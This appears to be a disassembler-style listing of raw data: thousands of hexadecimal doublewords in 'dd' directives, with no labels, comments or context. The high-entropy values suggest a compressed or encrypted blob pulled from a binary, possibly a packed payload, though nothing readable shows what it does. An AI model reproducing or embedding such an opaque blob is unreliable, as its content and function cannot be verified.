dd 55A9A2AEh, 46B433EEh, 71F17E27h, 830519E4h, 0F8DC72FAh
dd 12A24DD5h, 297D6548h, 817B1284h, 5D08796Dh, 0DB8323ECh
dd 99864B46h, 107BFC62h, 0BCA78CB5h, 767E081Eh, 75C98FA5h
dd 104B099Eh, 0B9A1CDE8h, 84623AAAh, 55CE7734h, 58F6332Eh
dd 0CBA4B80Bh, 0DDABC501h, 9435D02Dh, 158F7794h, 0F595F3E8h
dd 735061ECh, 21045141h, 2514DA31h, 22699852h, 46850D61h
dd 245D73E0h, 31B1BD19h, 836041FAh, 0E697B22Fh, 0CBCE9D34h
dd 9DFD3821h, 0F042E334h, 0B84E1CFAh, 0BE33D46Ch, 2BBC758h
dd 25E407D0h, 0AE4F5362h, 0E45569B5h, 3C908178h, 7E8EAA92h
dd 4B890829h, 0E883B1DFh, 0A0CFFA07h, 74CC128Ah, 6D2D5011h
dd 0B3925CA1h, 42DC5ECAh, 88B9F78h, 0B46F815Ch, 73FB80DAh
dd 3CC38B22h, 9E6BC72Bh, 549A0855h, 0E416F9EEh, 0A26AC7FDh
dd 7DCD9E5Bh, 74DCAE08h, 0F83B7805h, 834A3E77h, 8B01BC87h
dd 0F812D4C7h, 42AD5A65h, 913868C4h, 4E10EB0Ch, 7C8B7D12h
dd 0C5569D8Ah, 0CDCC5FDAh, 8722D0B0h, 0A6A9D627h, 49741B42h
dd 0FF44A9B7h, 2F8022A3h, 42F6A54h, 4DB38283h, 5AB95995h
dd 28BC6456h, 0FCC89EA9h, 0F789EBE8h, 917F9F1h, 56FA41C7h
dd 0E4983FBBh, 0A191AA63h, 6A31C883h, 87B2F25Dh, 0A43AB5Eh
dd 0DA8A2545h, 516284AAh, 0B68A5BBCh, 57EC4CB8h, 52023710h
dd 0E8146432h, 214D99EFh, 37AD2FD6h, 0B7D507Bh, 900D0EDCh
dd 80154276h, 241CDD83h, 36503534h, 1B264824h, 8468172Bh
dd 0D2D5E382h, 0FC996A6Ah, 9B47BC0h, 6A01F7AEh, 0DDEB5D05h
dd 0F1B96F50h, 0A7D98C7Eh, 9E148E40h, 0F6AD71E1h, 0EE7424D1h
dd 0E879565Ch, 693FCAF9h, 3E9FE755h, 0D55C442Dh, 0CBAA5F64h
dd 891C0A6Eh, 493412BDh, 13F186BEh, 1FAC43B6h, 0B5896602h
dd 3071FF20h, 74EF1EA0h, 27852802h, 3F1C9011h, 0E674B322h
dd 12752505h, 913765DFh, 0C4339556h, 17B4F068h, 46FE990Ch
dd 9C871DC4h, 16DF222Ch, 0AFD33559h, 2C65FBA1h, 84B5CA7Fh
dd 0ABACC933h, 107E0802h, 0D0DF158Ah, 14300693h, 213B4101h
dd 0FDF07C27h, 1169B96h, 11E05ECCh, 6721B7C9h, 0CA8BC195h
dd 3867915Ch, 0D4FC65F2h, 0BF324110h, 0BE132A08h, 8B3698ABh
dd 0DA495D4Fh, 22F68D8Dh, 0EAA8A56Ah, 0CD297EE4h, 4890D20h
dd 1E08FD30h, 0B0CC0B12h, 0C20B4000h, 0C125589h, 0AEF01674h
dd 0EA31BA6Ah, 0F7990659h, 70D285F9h, 2C06C601h, 4EC2EB46h
dd 803B6561h, 72F13BD6h, 0E8A080Eh, 0EF408F88h, 208047EBh
dd 0D5C78B02h, 446458F9h, 0C30BC724h, 2BFB4834h, 2164089Eh
dd 0F081806h, 0B4B80605h, 0B2C332D3h, 0A806A4B0h, 9819A032h
dd 4286900Ch, 2DC84388h, 0D73E6218h, 10DCC5A9h, 0F406F099h
dd 0FC01F802h, 0F32FD4A1h, 86112897h, 851F032h, 89E827F8h
dd 0D04B145Ah, 5006728Ch, 0F7E8E359h, 2F4FB12Bh, 42981928h
dd 8D476601h, 0A178A19Ah, 93E2536Ah, 59EE7D79h, 0C36C4EDBh
dd 89C45B23h, 0CC953CA9h, 86F41EF0h, 817A9D43h, 898E0CFCh
dd 5AF27F53h, 9C106A36h, 7BCEC49h, 24C27011h, 2A27CE09h
dd 0ECBAC0BFh, 8C9297BEh, 684A54D0h, 0A7BB3DFBh, 27CF9467h
dd 5A16A0CDh, 72E153DEh, 857F585Fh, 0FF684229h, 0EB5B0634h
dd 0E5B8BE32h, 56AF6A85h, 0EE134F5Ah, 0A47F9DCBh, 0F30F8E35h
dd 656A2324h, 15B52C60h, 4B72433h, 8AA1305h, 66371466h
dd 413B750Bh, 5A4FD9FBh, 0FD04A327h, 672DD37h, 8069230Ah
dd 526B7881h, 326B8168h, 8761E5DDh, 1A532475h, 0B248143Ah
dd 84046809h, 0FB1160D9h, 0D9C9AFB5h, 67802C97h, 7D40E85h
dd 3674926Fh, 0E83C8A1h, 0E9A91DD2h, 15DD2716h, 0F4FB103Bh
dd 53C223E9h, 6ADDDB33h, 0DCC4423Eh, 491073F7h, 287EFD5Eh
dd 0D2E661EBh, 4CA804E0h, 708D03B9h, 86E3EC02h, 0F5570F50h
dd 7C381448h, 0BDF74C1Fh, 8440680Bh, 0F3667D7h, 49951274h
dd 0A91E00F4h, 65C38C0h, 84749BA1h, 0CC755908h, 45DFB3BFh
dd 0FD982B85h, 28044F9Ch, 5E8EA7B4h, 9838D864h, 0DAEC9185h
dd 0FCB50B96h, 1FEB1A2Ah, 47327C5Fh, 0F450AFECh, 58DF1815h
dd 8464C47Dh, 25156927h, 67E51016h, 642F873Dh, 68083C65h
dd 786464FDh, 0E28882FEh, 4D24684Dh, 1271C5Dh, 7F6F6120h
dd 6B61A618h, 4DDFD844h, 566121B2h, 9D2E7BFDh, 9C7C5327h
dd 45154CD9h, 0BA04BE18h, 0B66E25CDh, 84A816E7h, 8B1E28EBh
dd 29FD3D5Bh, 0BCD9215Bh, 69A26FFEh, 3BD7D699h, 5EBB928Ch
dd 74FD02C8h, 1DA7F671h, 80549110h, 0CFA32BDh, 1212752Eh
dd 36298BE9h, 2E1E0942h, 99B63953h, 0A8B40E64h, 53188517h
dd 6ADF6237h, 0F34F141Ch, 4061277Ch, 0C8CA2C6Fh, 0AB697A1Ch
dd 0DC3B7791h, 0DAE8FD2h, 0E3B7700Fh, 85B82215h, 85FDA252h
dd 99D54BAEh, 213E4FD7h, 0A168626Ch, 0FA1087A8h, 0ED8C55DFh
dd 107BDE4Fh, 28BCFAB4h, 565254A6h, 75B1CF86h, 0A08B8D84h
dd 9C152C3Fh, 76DC024Fh, 64238625h, 20D82DFFh, 0DB3904Fh
dd 90419E17h, 0F74FC0Ah, 24B4390h, 868038C1h, 3F3D640Ch
dd 166CB456h, 9E8B2104h, 0DE95BCAFh, 68531AA0h, 73DF2A60h
dd 1AFD2DD8h, 2F0D4307h, 25E95727h, 4028EDD6h, 484CA30Bh
dd 1BC84D70h, 61406408h, 500885ECh, 0D0214A43h, 771A4895h
dd 670E4468h, 0CC93640Dh, 3869F26Bh, 51354490h, 302BD548h
dd 3840BB98h, 0F25740CCh, 0D68544BCh, 0C7FFBFF2h, 0A4551F7Eh
dd 0C70F3E0Eh, 54586A01h, 7E41828h, 1C668BC1h, 0F8B05EBh
dd 9F18C367h, 3D518342h, 9E69C21Dh, 891B7857h, 484F9164h
dd 0B14F5DDEh, 33EB1805h, 84444911h, 6931F968h, 0E5797190h
dd 0B710F50Ch, 0E475205Dh, 0F87A5D99h, 846AB370h, 957F218Fh
dd 50449911h, 13EB5BB4h, 2DB0682Bh, 0D4F633E2h, 808271Ah
dd 19F94916h, 9F61689Eh, 0C84FE364h, 424ED0FDh, 0FF21A58Dh
dd 0C3142464h, 53190B50h, 89F0554Bh, 0BBE5C954h, 0DF496EFEh
dd 2610650Ah, 4850111Fh, 8DE88361h, 0D2527D44h, 9A54FB48h
dd 0FC129A8Fh, 4119B6D6h, 2ED928B5h, 11E52822h, 1CD04C8Dh
dd 0A10DD89h, 0E9305051h, 377E5026h, 0E8C11C0Ch, 0B0183504h
dd 0FE359054h, 3B593FDDh, 1056C2FDh, 0F6C06472h, 51B087Bh
dd 24A85075h, 4BE115ADh, 0ED42298Dh, 51E93873h, 253D10E2h
dd 603B478Bh, 6E20C968h, 878D257Dh, 0CEC28DB9h, 0C75D594Ah
dd 68341D84h, 6925978Bh, 0CD421848h, 0FCDAC383h, 0FB1C30Eh
dd 339C7609h, 0E4A4B475h, 5B495D4Dh, 0FDC32AACh, 7CCBC3EBh
dd 768120ABh, 8C59495Dh, 98110C7h, 0BF48BF1Ch, 1AB786B8h
dd 486D3EBEh, 1B439744h
dd 438B07E0h, 94E3E6A4h, 8C8818FBh, 2B20083Bh, 4D9DAD72h
dd 16E169DEh, 0E5E88265h, 0C890D39Dh, 0C29D648Bh, 137A5F14h
dd 0DC9DF079h, 0E4D5A776h, 0B44D999Ch, 67294EA4h, 483DB8B3h
dd 7C89257Bh, 0C89C15EAh, 62C86022h, 65F812A0h, 38B26DB9h
dd 1D327CB6h, 0CB51195Ch, 0AC4D4F05h, 0FDF00BBBh, 7F59927Fh
dd 0A121F0E3h, 92B31BF6h, 2F1C6AE1h, 7017DAF9h, 58753218h
dd 58274CF7h, 4D8435F0h, 14F4FFD0h, 3BC82D23h, 0DE188C5Eh
dd 3245F625h, 0D41401D5h, 91CC5A2Ch, 0EA7549F3h, 26430DE8h
dd 53F4B530h, 0D3284A57h, 31AA4546h, 4A71325Ch, 91E57CB4h
dd 1317921Dh, 2E2D3665h, 74190FE3h, 83CC8410h, 347F4E2h
dd 0F83B98C1h, 49EBFE73h, 6E272FC8h, 87129159h, 0D9EB0D25h
dd 75526B62h, 0ECEC88AAh, 3066D3BDh, 878A1025h, 7C472C6Ch
dd 0E8D1020Ch, 897FE083h, 52B7A385h, 86C0211h, 3F6264A3h
dd 89B5B0C4h, 0D1086BD5h, 17E1840h, 38848D70h, 813F8A34h
dd 0A30C06C7h, 2C89455Ch, 0C9F5603Dh, 0F0FC2234h, 0E71ADC97h
dd 5BC6D25Fh, 4CE48BF6h, 2A1551B1h, 6A67A53Dh, 0A228CE21h
dd 0FE10529Dh, 86A193B4h, 26BC5D8Bh, 0D83BC016h, 8314B0F9h
dd 3D2421A4h, 0D843B2ACh, 93FBADF7h, 7405744Ah, 81558B78h
dd 23E44D3Eh, 7893C73h, 3BD023FCh, 406A7522h, 0EC01ED72h
dd 6C514964h, 38A3D737h, 7088F044h, 95657483h, 22567DA5h
dd 28315C42h, 56246B23h, 7286D16Ch, 246B53F3h, 30716C50h
dd 0A3C3F16Bh, 0EB89E8A0h, 92607006h, 5D033964h, 0A4D03BB9h
dd 40625D82h, 0F574FF4Eh, 392EA3AFh, 4AFB4E81h, 1F068689h
dd 1D89C933h, 22A33411h, 0E3382E33h, 480B051Dh, 0AF8DFF01h
dd 4CBC6AC6h, 0CAFFF82Ah, 6B3F897Bh, 0DE95AED0h, 52519CDDh
dd 9C3995A1h, 8D335761h, 8444980Ch, 0FAF5D3FFh, 4BA80848h
dd 4D4918EDh, 0D8AE191h, 292212Ch, 35FF51C9h, 967F668Bh
dd 0A0FA889Ch, 5D12A364h, 0A154E756h, 11A1F7BFh, 0B7E6A1F8h
dd 86CCD2FBh, 57119153h, 37511CCDh, 0CACDD5FCh, 0D26A9818h
dd 0EAE49321h, 15E5E848h, 9775AF24h, 95F4720Ah, 66BBEC8Ah
dd 3D5EBF14h, 0F9115FBEh, 5A033440h, 89C4A965h, 0DFEAAB39h
dd 0A808C11Ah, 0F0826C26h, 0EC5BA49Ah, 8894B8FDh, 0BA387616h
dd 8A4F2720h, 0D2840911h, 0EE815588h, 8E798015h, 0C50F7532h
dd 0F8C520FAh, 7DF0DF27h, 0A9767EFFh, 0D4C7410Ah, 1539C0C3h
dd 32CE7206h, 32CF1D34h, 0EE9453F2h, 14BF14BFh, 1A18EB1Ch
dd 3C87D4A7h, 0F486C518h, 6C9F8781h, 86240FF7h, 0DC6BE446h
dd 64E22134h, 3DAF564Ch, 2F2A7B89h, 81E37AA9h, 0A4A1AC5Fh
dd 0BE1081EBh, 0D845256Ch, 0FC587E83h, 38183B11h, 13760B3Eh
dd 73BF76Ah, 0FED924Fh, 10C681C1h, 52447F02h, 0D44DB18Ch
dd 0D9FC3A90h, 0BEE409A5h, 0F64EFF74h, 4FBA7E8Ch, 0E01382D4h
dd 0E402A154h, 0C95B076Ah, 0BB3BE80Fh, 0B04B6928h, 0FDEE5838h
dd 0FF33E40Bh, 0C26217Fh, 0FD6AF73Bh, 192E5CA1h, 0E0765C6Ch
dd 502DAE3Eh, 0BD564B34h, 9308E9F4h, 0D34E1D43h, 0F7BF8Ch
dd 43933082h, 985B4F1Eh, 0FB5EE07Eh, 1B69F6CAh, 654ED177h
dd 680F3110h, 2870A024h, 39F9FD5Fh, 73BD1EA6h, 0BBF74FC1h
dd 0FC2B7069h, 8B8A0D3h, 3B5D9F40h, 0B802F594h, 44F66957h
dd 7DE8970Fh, 54B17486h, 0D68BE0Ch, 59B67CFFh, 6A80544Ch
dd 0DB3359A9h, 0AC73B24h, 5B248612h, 13FFBC1h, 6152E66Fh
dd 0FFDFF8C4h, 9014A22Fh, 99A9910Eh, 290FBF19h, 18C5C1CFh
dd 22340F34h, 410F3536h, 939420EFh, 84C81CB5h, 0CF535314h
dd 29C2FF9Fh, 0D22385B6h, 0B4235714h, 111F678Dh, 572B1043h
dd 0F5C6AD37h, 7EBF8295h, 0F010427Ch, 8283B442h, 5848AC9h
dd 0D3C2783h, 0AA31CDBh, 0C018FAh, 0F41A008h, 8785A5F7h
dd 0A1A157ABh, 0EBA408FDh, 88BB3A4Ah, 4BA433E6h, 162006BEh
dd 6B09F587h, 77C21076h, 13575225h, 0E8968443h, 0FC74612Ah
dd 82D23B40h, 6893756Dh, 0F43D6D23h, 1563919Eh, 0E85A4A8Bh
dd 64AB4A9Ch, 74CABE56h, 0A2920D5Ch, 61624D39h, 677EFC82h
dd 33B8EE94h, 74183902h, 0AE44050Dh, 883D4713h, 83EFBD20h
dd 0B43148FFh, 55F78B13h, 0C395C6AFh, 0B8860B5Dh, 0C49EE90h
dd 77C752B5h, 0C71E1394h, 55B141A8h, 111E5012h, 557C61CBh
dd 0E225D0C5h, 0BB01F45Eh, 997C100Bh, 402DDB1Ch, 58BC786Ah
dd 0FFF4C4D4h, 0DB309EB6h, 0D80DDC06h, 0EB9CFC9Dh, 19158256h
dd 6A05441Bh, 0C8A4665Bh, 953409FFh, 0F0A88A70h, 0B9995819h
dd 1BF5C068h, 0CAFF8744h, 17A44176h, 1293AE9Ah, 8BB62887h
dd 134FF1B0h, 2B58C180h, 72D5D0C6h, 0C039ECC8h, 8B0A85D0h
dd 0DA5818D8h, 0ED059F4Dh, 0FE8D2CC8h, 70BF0213h, 137E4446h
dd 0E0034E14h, 112FBF3h, 0D3BA0974h, 0F943BA5Fh, 52C0C84Eh
dd 70859001h, 8CC0088Ah, 1F41F69Dh, 285C9DD3h, 0B27D959Fh
dd 9B4B5C1Ah, 42432E6Ah, 0DDA94C12h, 4E1B4E6Bh, 55FABF9Fh
dd 8AC9DE0Ah, 3517A5D2h, 65EC78D9h, 0F6CCBAECh, 266D7EDFh
dd 2371DD59h, 0EA4D4786h, 808A5832h, 8827BAA4h, 4D70F603h
dd 6B215DD8h, 0C299EA8h, 1096B50Ch, 0BAE59F1Eh, 0E9CEF58Ch
dd 5432BE3Bh, 0F0210402h, 4329BE3Ch, 30ECA7FFh, 0F94EF520h
dd 3468D0Ah, 0B9304FADh, 28722D45h, 8B762BF1h, 0C1FAEA6Fh
dd 0F0BC3710h, 0F142BF8Dh, 6A261CEBh, 0B150B8C8h, 0C82A1641h
dd 1805EB88h, 0BB525B46h, 0E2DED415h, 9D8CB4B0h, 6A14E77Ch
dd 795B2F87h, 0EF612715h, 0A5885B39h, 0EBD42802h, 998AB71Eh
dd 5446404Ch, 0E68C5886h, 8D5E0F06h, 5FE20FAh, 7599137Dh
dd 6A46185Ah, 9215A408h, 0E943A59Bh, 3C1A2425h, 6DAEA83Ah
dd 1DEB3013h, 95220E22h, 8789488Ch, 3402F47Dh, 99DEDB7Ah
dd 654F5C8Dh, 1E904690h, 399CA0F2h, 1E392326h, 10787D12h
dd 963EAD98h, 0D6C1FCD5h, 2A0E99EFh, 11627F8Dh, 0BB57FB96h
dd 2BE90EEBh, 0FF8514A0h, 0DC9F1D7Eh, 0B1089005h, 8C2E40CFh
dd 46020B68h, 0E37CF73Bh, 3695832h, 1B0C35Dh, 7109F8EBh
dd 542010B8h, 560C506Ah, 0FC57482Dh, 0E5079D38h, 6AAE8CACh
dd 46BC035Ah, 147FE2DAh, 45B3E08Fh, 53D73E4Bh, 4AC2E074h
dd 15EDFDDAh, 0BEF9F013h, 0DF8F72Dh, 9C07425h, 0F163C41Bh
dd 68E2623Dh, 0CDC2A97Dh, 22DC2F64h, 7B1956F1h, 0D3BC8CB4h
dd 0A81AE57h, 5602937Ch, 0A5170432h, 200DBE4Eh, 1F136B39h
dd 0B351C4AFh, 36FC2942h, 800C8691h, 0C33F2BDh, 7E7D7530h
dd 8AC86818h, 444C6459h, 38685274h, 0B7BA10A4h, 36D2743Fh
dd 4775020Ah, 0E4680D87h, 1127196Bh, 29572C2h, 0CE0F510h
dd 0FE2D810Ch, 683F22Ch, 0EB43C39Dh, 0F8424F20h, 1C4CF6F2h
dd 5D9D8B77h, 0C3D85EBBh, 3BC9E95Bh, 8A639E8h, 0DE83F104h
dd 0C6BB6F4Bh, 213976B9h, 7871F1A2h, 6C4A7A74h, 20D22E9h
dd 60726554h, 0D2FDDB1Ah, 25BCF1FDh, 0D1578B42h, 2B418506h
dd 0EB39C4C7h, 0D557E835h, 0EC3BA5B5h, 0D1784CA5h, 531017C9h
dd 8A6B8C36h, 50F98512h, 0A0B81105h, 0F2BE5412h, 0F78B1FC0h
dd 0BE72E627h, 12772704h, 0C2787C8Ch, 530207D0h, 0EA597556h
dd 0FDF83089h, 7A9C0096h, 75AF5613h, 5BE60B9Dh, 0AA7DF405h
dd 0F873A422h, 28B5513Ah, 8A9AA46Fh, 80311401h, 5740AFAh
dd 750D0A85h, 78911F04h, 0C83B4100h, 0D233EA7Ch, 2A3B5764h
dd 4F7518AAh, 32703C80h
dd 3B19753Bh, 0C001337Ch, 740A054Ch, 0BEFB810Eh, 0B7D9490h
dd 430F2D89h, 3B42A700h, 0DC787CD0h, 5FE00CFCh, 8017742Bh
dd 9DA98B21h, 984BA2Dh, 56E412EDh, 0C8081682h, 0B951144Eh
dd 0F3454040h, 78518DABh, 1F7CC885h, 0DF8B5318h, 298A103Bh
dd 3B90604h, 4659B575h, 18F84CFBh, 81241C89h, 7E05D74Bh
dd 3FB15BE5h, 58249670h, 0ECC00904h, 7C59613Ch, 7A1A0B75h
dd 28077Fh, 0C360E8D9h, 0E7F19D33h, 45100C8Bh, 0BE571272h
dd 0BB9353B2h, 4CFC7D09h, 0F49C80D9h, 58139FEFh, 17F72B73h
dd 4A07985h, 0FE8B244Eh, 7A7E099Dh, 99ECC2Dh, 0C1C4A87Fh
dd 1FC87B9Ah, 59F5C907h, 52E22DA5h, 671FA004h, 0FAF455C3h
dd 8D4FAA84h, 0CE2BCA04h, 27E3281h, 7803C1E0h, 0FC7D39F8h
dd 8D952C30h, 4DA5FF72h, 0A19D09Bh, 0F8558970h, 4D644C4Dh
dd 75C152C0h, 284E4FB0h, 0E8BB86EBh, 3D7C505h, 8BA2BAC7h
dd 561601C8h, 0B15334FAh, 36DCC2AAh, 160E6865h, 0C9BFD250h
dd 102CC33Fh, 64418312h, 1F4C4271h, 8008038Ah, 57F1FF9h
dd 75090A05h, 0A3E84003h, 1A8D4887h, 72D03119h, 2E1D400Ch
dd 2180EB74h, 2FE6527Ch, 0BE09EA48h, 0A251B18Ch, 0E4940C88h
dd 0E3BF7556h, 91495EC4h, 195FB4h, 26C92B2Ah, 29516433h
dd 4D6E1CF9h, 6AF56C38h, 683673EDh, 38580C13h, 55C39122h
dd 5508928Ah, 5D97E14h, 431638BFh, 151486E9h, 0E80238F0h
dd 6474EE3Bh, 0E49511D0h, 46A3532h, 2881EC06h, 89D24378h
dd 0E1FB70Bh, 7455198Dh, 9C0653Bh, 5BF3537Ch, 87B5037h
dd 5599F2FBh, 0C5A0403Ah, 93C9430Fh, 717059C1h, 0E0565702h
dd 8146F52h, 0D54B011Ch, 0E485BF22h, 4201955h, 20DC25B1h
dd 258B7394h, 4F0946A0h, 5FBCB273h, 70036209h, 48F85512h
dd 50F961A5h, 0A2EAD664h, 624C25E6h, 58F9D544h, 0F332F09Eh
dd 0B3052980h, 4E791F1Dh, 7F1B6AD3h, 2500A77h, 6A944034h
dd 6B3D696h, 0CC361629h, 0F3A47CE9h, 0CCEB60D3h, 30276818h
dd 3E64E594h, 4630538h, 4624066Ah, 77A52F24h, 0C68C26C4h
dd 0BD076420h, 909CDD74h, 742FEB6Ah, 7A905D0Fh, 0AE920775h
dd 0D59DBCCh, 0B18350A5h, 9373B29Ch, 0E457251Dh, 0C412863Fh
dd 0EFDA00Eh, 5D94AB68h, 14A0A667h, 9517E695h, 0D0A511E7h
dd 0FFE04A6h, 10010C86h, 44508A22h, 9E5C6842h, 0EAC2973Dh
dd 33F1191Ah, 57920E68h, 8DD47DBCh, 258EEBA5h, 1844647Ch
dd 0B639AAA8h, 0FF7DD530h, 0B830AB3Bh, 8AFFFEA4h, 0B430E1F5h
dd 7791ED6Fh, 122DD46Eh, 8CBD59AAh, 5D5012A4h, 0C53E5473h
dd 0D7F1AC2Bh, 1229D2EDh, 7F12712h, 949C2EB2h, 10BB8F24h
dd 5B10F344h, 5534AE29h, 5E6EB036h, 0A26CBD84h, 0A8AF5468h
dd 2749F394h, 99EBAD05h, 57FC6F72h, 0D0902A2h, 0DFE2A8D7h
dd 79A7F253h, 2D10E831h, 5B6794FFh, 5162FE50h, 7502217Ch
dd 4BEE2B55h, 0AF2A14B1h, 3B5799DCh, 34576674h, 9481312Fh
dd 50444395h, 57A263A8h, 14DC0D92h, 0EB201754h, 0DA72AF38h
dd 0CAD7AFDCh, 0AD4F28CBh, 3A1E1BACh, 725F1C85h, 744AC0C3h
dd 0C4BAAB35h, 2D752F04h, 0DB63155h, 0B7394F64h, 19F6EE64h
dd 8E167ED0h, 0D509AB0Ah, 569EE4Ch, 1718723Fh, 0EED05068h
dd 0BDF00B9Ch, 38AA61DEh, 5A6AC444h, 559EE32h, 617B40DEh
dd 0ABD4D0D4h, 9D22A526h, 81F1185h, 1122B2EBh, 0C890F84h
dd 46B93BB7h, 4659B77Fh, 0DA694BC8h, 3CD4812Eh, 136B3775h
dd 0C541A394h, 0F2EA5651h, 0FEA1A45Ch, 1AD0B96Bh, 0D20CDB0Ch
dd 7BDAF052h, 0DDC164Dh, 2B939CE0h, 0D2EBF05Ch, 224A7CADh
dd 0E87E1095h, 348D4A03h, 0C1C80C40h, 0B6D302E6h, 75952825h
dd 887C5018h, 0B07FD08Ah, 242AC8FCh, 96386886h, 50BE130Ah
dd 6EE2E1BAh, 2D28858Ah, 2A7D2729h, 0C680240h, 0E0EB3DC0h
dd 0AA40048Dh, 50FEF023h, 0D1E83420h, 0CCD2F0Ah, 12372FF4h
dd 53A884BBh, 3F19A0AFh, 91950FE0h, 0D83AD82Bh, 0A4B7531h
dd 0EBD80261h, 0DD9D62EEh, 7AC5C2h, 0C0275E9Ah, 0F3EB91B8h
dd 4D2D204Bh, 1F845A2h, 30ACF8Ch, 7E3017EAh, 7F060E37h
dd 7FF19D32h, 15A95928h, 0EBA5892Ch, 1184B316h, 4AB8C81Fh
dd 0F5300CD2h, 5908B419h, 0DC279948h, 7485739h, 815A975Eh
dd 0B94E1CACh, 0C13BB490h, 95875A0Fh, 0EAB3EB33h, 22FB607Eh
dd 4E745A77h, 0B1C88B3Dh, 493DEAE9h, 33CE63C6h, 51182206h
dd 0A2713E3h, 0A4645724h, 9AC86817h, 7E1E70B2h, 0A9C9547h
dd 505984C8h, 6224210Bh, 373B99D0h, 411181B0h, 9B2574C6h
dd 0DF061BAEh, 849CA66Ch, 4699B821h, 0EB3B1588h, 72CA87Dh
dd 22147658h, 0E6F5898h, 0B9F40741h, 1B1A65Bh, 58746D77h
dd 7ADE888Dh, 7DF9C2B4h, 0F600111h, 8E9689B6h, 24F0C341h
dd 0FD06E8Dh, 3D2B4089h, 240780D0h, 97199C36h, 0B2442F0Fh
dd 0C828070Fh, 0C42145A0h, 1A070F40h, 134718C8h, 2796BCE2h
dd 2398E40Ch, 2F78F205h, 4DB39083h, 69ABB684h, 54998542h
dd 0E552143Dh, 0C30D83B8h, 1FDF3218h, 3B243409h, 11910348h
dd 2D442622h, 1755890Ah, 2010900h, 4D5E903h, 605068Ch
dd 6CB0708h, 8CB71808h, 3DFC9503h, 5D2432C9h, 27338989h
dd 0F4451412h, 9B13E4FEh, 0AFFD4FB7h, 0FD943255h, 744AE8C6h
dd 1512C5Ch, 30A60B4Ah, 0A4120951h, 3011FC62h, 0D991EA3Dh
dd 0A7B48508h, 0FC5D6A60h, 0A0618EF6h, 78B58D17h, 9BD673AFh
dd 43744806h, 2F394006h, 1B022581h, 7091104h, 8C9BBF04h
dd 0CEF4432h, 2C0CFD38h, 0FD200CFDh, 0CFD140Ch, 0FC0CFD08h
dd 629FE692h, 0DA5B5D59h, 829F74BDh, 93FC762Ah, 0F04DACA1h
dd 0D6E86F3Eh, 0BFC74B1h, 424728C7h, 62D024C6h, 668C0F1Ah
dd 0BCFAFF3Dh, 6CBF1279h, 25B49140h, 43BFD85h, 0E55B5EF6h
dd 0B4507C3Eh, 8AB8A0FBh, 0D9405E1h, 5FBA75C4h, 8948DEA8h
dd 67F9575Dh, 20B88109h, 7D834DB9h, 12F1B810h, 0F3246A39h
dd 0DF2B8F7Ah, 848D5854h, 0E1B0AC89h, 16767D04h, 38B64CBEh
dd 9B43CCC8h, 52EB1482h, 644EA7A8h, 9FA1A80Ch, 0E232C6D4h
dd 0FB01124h, 202C2958h, 0B21FA2B0h, 43548C21h, 1C31D68Ch
dd 0F639C35Dh, 75F5B04Bh, 5441045Ah, 56575553h, 3D8B0284h
dd 6A42F488h, 13BBFF27h, 283C26EBh, 0D7033E19h, 0B84C05F6h
dd 8B019A00h, 801675E8h, 8F0BAA0Dh, 0CCFAD35Dh, 0EC2EA361h
dd 8AB8A4B5h, 935FF55h, 34627234h, 5F0F81A1h, 84775B5Dh
dd 3030202Fh, 0C28A7781h, 110A2A7Fh, 0A4168912h, 1644C2CDh
dd 0D8ACE553h, 11957F22h, 47216537h, 5BF04DD0h, 258893FFh
dd 54802932h, 1134AAE4h, 17A1D1ADh, 5235BFFCh, 26AEE45h
dd 29D851D2h, 6C518644h, 3BCE02D0h, 1202A985h, 6C5EAFDFh
dd 50573562h, 2D0FF848h, 0F86B2001h, 573F448Dh, 9158BA02h
dd 19535715h, 0AB2E955Bh, 0AE5EF7F2h, 77819C71h, 0FA166B0Bh
dd 99AF96AFh, 6A5ECBB0h, 0E2A5D7BCh, 22142A04h, 2A6B49A2h
dd 0F45C49FFh, 3C68754Bh, 402C68F0h, 18F9349Ch, 634FA368h
dd 93414ABh, 0D0C1F6FCh, 0FFC201F6h, 2928DB99h, 3BD80B95h
dd 81E982DEh, 0F02CC4FBh, 99537135h, 0D1F44B1Eh, 9C24044Bh
dd 2C593DEEh, 2D24BC87h, 0FD406DEBh, 14177D39h, 6DE95C72h
dd 328D7028h, 0CCB41076h, 0AFDD935Fh, 7C757FDCh, 8D106805h
dd 1C916952h, 0EC068204h, 0CD9BF868h, 795B2118h, 3017612Ch
dd 0B4C53B1Bh, 0EA17AC76h
dd 741A28B2h, 0AA32ACBAh, 0AA24FB41h, 0DE4C7463h, 94777C53h
dd 0BD2DCC97h, 3B0C5FD3h, 0B1923EDFh, 0C72B401Ah, 4B9D2674h
dd 5D3BE2BAh, 2E462709h, 84791095h, 0E6418243h, 0DE0C4922h
dd 391730C8h, 0DB08F582h, 26132285h, 8BB1C883h, 302903EBh
dd 20134DD6h, 0BE53FA41h, 110EB850h, 48A29CD0h, 28A354C7h
dd 0A0882090h, 22661479h, 0B1B85011h, 481F9C78h, 89BC4910h
dd 456F9224h, 42EDEAC0h, 976EDC45h, 81E00C40h, 0F9257AECh
dd 0C9F44816h, 4ED29D58h, 86DC08CEh, 5F385750h, 9A64BCE8h
dd 0BC3B8404h, 6A23ABD9h, 0AC6888F4h, 0AA041287h, 9C567262h
dd 802C8C7Eh, 0A00B6A60h, 5FBA3C32h, 0D897D94Ch, 4A84036Dh
dd 9D91A4FCh, 0BCB817D2h, 98DD302Dh, 859E884Bh, 185C8F28h
dd 0A41424B7h, 11B16225h, 0A345561Ch, 751E36BBh, 0FF050AB4h
dd 34320C70h, 2B871678h, 647208E4h, 7204C415h, 0C44E1558h
dd 48A11040h, 0B8C70A29h, 139DD888h, 7E9E22FFh, 740510Ch
dd 0FD38CB20h, 2451120Dh, 14447C95h, 552B8A77h, 21DC1C11h
dd 0F01CE75Ch, 18AC9D42h, 0B8DC428Eh, 0AF98E2Ch, 0AC3930E2h
dd 3924E20Ah, 28E20A9Ch, 0E20A8C39h, 0A783934h, 64393CE2h
dd 3938E20Ah, 56290F50h, 0C42B2314h, 953C724Ch, 72404456h
dd 442B9528h, 37147244h, 5B5F5130h, 842C4CEBh, 0B9CF0A1h
dd 0E4B28C70h, 0F5084A9Dh, 209374E5h, 992D2EAh, 2B4B4251h
dd 4BFEEE85h, 0D2513518h, 14DE145Fh, 0FEE28F69h, 64EC4549h
dd 0E825C951h, 9F045468h, 0F8102583h, 43BF5797h, 2B79B1D2h
dd 441673B9h, 0C1A9BCB9h, 3D3C74F4h, 50CE552Ch, 4298B730h
dd 0C41E9EE0h, 0B2B68811h, 0E17BB255h, 0F2EFC2Bh, 859A84B9h
dd 8D20CBF4h, 1E697633h, 37FF9974h, 0B3D8444Ch, 10456826h
